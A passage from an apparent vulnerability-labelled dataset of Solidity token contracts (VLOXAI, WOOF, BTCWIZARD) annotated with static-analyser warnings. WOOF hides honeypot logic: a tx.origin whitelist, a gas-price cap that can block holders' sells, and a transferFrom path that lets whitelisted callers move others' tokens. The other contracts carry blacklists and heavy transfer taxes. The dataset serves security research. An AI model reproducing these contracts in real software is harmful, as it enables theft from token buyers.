957b75a): VLOXAI._taxSwapThreshold should be constant \n\t// Recommendation for 957b75a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a597ff0): VLOXAI._maxTaxSwap should be constant \n\t// Recommendation for a597ff0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n receive() external payable {}\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22cb2f4): VLOXAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 22cb2f4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e40f7f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e40f7f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f9b04ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f9b04ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6e40f7f\n\t\t// reentrancy-benign | ID: f9b04ac\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6e40f7f\n\t\t// reentrancy-benign | ID: f9b04ac\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92f53dd): VLOXAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 92f53dd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f9b04ac\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6e40f7f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 23099c4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 23099c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f955cd0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f955cd0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 23099c4\n\t\t\t\t// reentrancy-eth | ID: f955cd0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 23099c4\n\t\t\t\t\t// reentrancy-eth | ID: f955cd0\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f955cd0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f955cd0\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f955cd0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 23099c4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f955cd0\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f955cd0\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 23099c4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6e40f7f\n\t\t// reentrancy-events | ID: 23099c4\n\t\t// reentrancy-benign | ID: f9b04ac\n\t\t// reentrancy-eth | ID: f955cd0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function setLimitsOff() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ce35d26): VLOXAI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ce35d26: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6e40f7f\n\t\t// reentrancy-events | ID: 23099c4\n\t\t// reentrancy-eth | ID: f955cd0\n\t\t// arbitrary-send-eth | ID: ce35d26\n _taxWallet.transfer(amount);\n }\n\n function addVLOXBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delVLOXBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f4765c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f4765c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f7f5b56): VLOXAI.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),balanceOf(address(this)),0,0,_msgSender(),block.timestamp)\n\t// Recommendation for f7f5b56: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6ddaa48): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6ddaa48: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external payable onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f4765c8\n\t\t// reentrancy-eth | ID: 6ddaa48\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f4765c8\n\t\t// unused-return | ID: f7f5b56\n\t\t// reentrancy-eth | ID: 6ddaa48\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n _msgSender(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f4765c8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6ddaa48\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10823.sol",
"size_bytes": 19723,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract WOOF is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private _socialVerify;\n\n mapping(address => uint256) private _maxAmount;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec8ce59): WOOF._name should be constant \n\t// Recommendation for ec8ce59: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 49e6a1b): WOOF._name shadows ERC20._name\n\t// Recommendation for 49e6a1b: Remove the state variable shadowing.\n string private _name = unicode\"WOOF\";\n\n\t// WARNING Optimization Issue (constable-states | ID: cccb6a7): WOOF._symbol should be constant \n\t// Recommendation for cccb6a7: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: ef5a511): WOOF._symbol shadows ERC20._symbol\n\t// Recommendation for ef5a511: Remove the state variable shadowing.\n string private _symbol = unicode\"WOOF\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: daf7f17): WOOF._tTotal should be immutable \n\t// Recommendation for daf7f17: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 69_000_000_000 * 10 ** decimals();\n\n IUniswapV2Router02 private _Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n constructor() ERC20(_name, _symbol) Ownable(msg.sender) {\n _socialVerify[msg.sender] = true;\n\n _socialVerify[address(this)] = true;\n\n _mint(msg.sender, _tTotal);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: fecc037): WOOF._update(address,address,uint256) uses tx.origin for authorization _socialVerify[tx.origin]\n\t// Recommendation for fecc037: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: fecc037\n if (_socialVerify[tx.origin]) {\n super._update(from, to, value);\n\n return;\n } else {\n require(tradingOpen, \"Open not yet\");\n\n if (to == uniswapV2Pair && from != address(this)) {\n if (tx.gasprice > _maxAmount[from] && _maxAmount[from] != 0) {\n revert(\"Exceeds the _maxAmount on sell tx\");\n }\n }\n\n if (to != uniswapV2Pair && from != uniswapV2Pair) {\n if (tx.gasprice > _maxAmount[from] && _maxAmount[from] != 0) {\n revert(\"Exceeds the _maxAmount on transfer from tx\");\n }\n }\n\n super._update(from, to, value);\n }\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n if (_socialVerify[msg.sender]) {\n _maxAmount[spender] = amount;\n }\n\n super.approve(spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool) {\n if (_socialVerify[msg.sender]) {\n super._update(from, to, amount);\n } else {\n super.transferFrom(from, to, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4a483be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4a483be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() public onlyOwner {\n _Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 4a483be\n uniswapV2Pair = IUniswapV2Factory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4a483be\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10824.sol",
"size_bytes": 15023,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BTCWIZARD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 49cb9b8): BTCWIZARD.bots is never initialized. It is used in BTCWIZARD._transfer(address,address,uint256)\n\t// Recommendation for 49cb9b8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7c175e1): BTCWIZARD._taxWallet should be immutable \n\t// Recommendation for 7c175e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76b2844): BTCWIZARD._initialBuyTax should be constant \n\t// Recommendation for 76b2844: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03608e4): BTCWIZARD._initialSellTax should be constant \n\t// Recommendation for 03608e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 23256be): BTCWIZARD._reduceBuyTaxAt should be constant \n\t// Recommendation for 23256be: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa22981): BTCWIZARD._reduceSellTaxAt should be constant \n\t// Recommendation for fa22981: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: c8a87d5): BTCWIZARD._preventSwapBefore should be constant \n\t// Recommendation for c8a87d5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 21;\n\n uint256 private _transferTax = 60;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Magic Internet Money Mascot\";\n\n string private constant _symbol = unicode\"BTCWIZARD\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48879b5): BTCWIZARD._taxSwapThreshold should be constant \n\t// Recommendation for 48879b5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a040b8): BTCWIZARD._maxTaxSwap should be constant \n\t// Recommendation for 7a040b8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function 